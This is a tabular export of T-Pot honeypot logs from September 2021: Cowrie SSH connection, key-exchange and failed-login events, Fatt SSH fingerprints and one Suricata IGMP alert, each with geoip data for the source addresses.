25055	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:20.611482+03	2021-09-20 14:15:09.60247+03	{"_id": "IQblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "606e1b25c6b7", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:20.611482Z", "@timestamp": "2021-09-20T11:09:20.611Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
25056	123.124.200.114	109.199.241.180	Cowrie	2021-09-20 14:09:20.655467+03	2021-09-20 14:15:09.603471+03	{"_id": "IgblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "123.124.200.114", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "123.124.200.114", "eventid": "cowrie.login.failed", "message": "login attempt [root/strato] failed", "session": "1ac359587dfc", "@version": "1", "password": "strato", "username": "root", "timestamp": "2021-09-20T11:09:20.655467Z", "@timestamp": "2021-09-20T11:09:20.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25067	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:09:19.328468+03	2021-09-20 14:15:09.6175+03	{"_id": "9QblAnwBvYTbRNuEZBaE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 54786, "dest_port": 22, "timestamp": "2021-09-20T11:09:19.328468", "@timestamp": "2021-09-20T11:09:19.328Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25057	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.658324+03	2021-09-20 14:15:09.60447+03	{"_id": "IwblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "f153c4923fb3", "@version": "1", "timestamp": "2021-09-20T11:09:20.658324Z", "@timestamp": "2021-09-20T11:09:20.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25058	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.724448+03	2021-09-20 14:15:09.60647+03	{"_id": "JAblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "5e70f32f8591", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:09:20.724448Z", "@timestamp": "2021-09-20T11:09:20.724Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
25059	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:09:20.825863+03	2021-09-20 14:15:09.607471+03	{"_id": "JQblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "38b70ed35099", "@version": "1", "timestamp": "2021-09-20T11:09:20.825863Z", "@timestamp": "2021-09-20T11:09:20.825Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
25060	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:09:20.884775+03	2021-09-20 14:15:09.608471+03	{"_id": "JgblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "606e1b25c6b7", "@version": "1", "timestamp": "2021-09-20T11:09:20.884775Z", "@timestamp": "2021-09-20T11:09:20.884Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
40338	192.168.20.147	109.199.241.180	Suricata	2021-09-20 15:43:14.537665+03	2021-09-20 15:45:03.929019+03	{"_id": "7gY7A3wBvYTbRNuEX3sZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 2, "action": "allowed", "category": "Generic Protocol Command Decode", "severity": 3, "signature": "SURICATA IPv4 padding required ", "signature_id": 2200007}, "geoip": {}, "proto": "IGMP", "src_ip": "192.168.20.147", "stream": 0, "dest_ip": "224.0.0.22", "@version": "1", "in_iface": "enp5s0", "timestamp": "2021-09-20T12:43:14.537665Z", "@timestamp": "2021-09-20T12:43:14.537Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": ""}}	1	\N	\N	alert	\N	\N
25061	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:09:20.898499+03	2021-09-20 14:15:09.610471+03	{"_id": "JwblAnwBvYTbRNuEaRcK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5e70f32f8591", "@version": "1", "timestamp": "2021-09-20T11:09:20.898499Z", "@timestamp": "2021-09-20T11:09:20.898Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	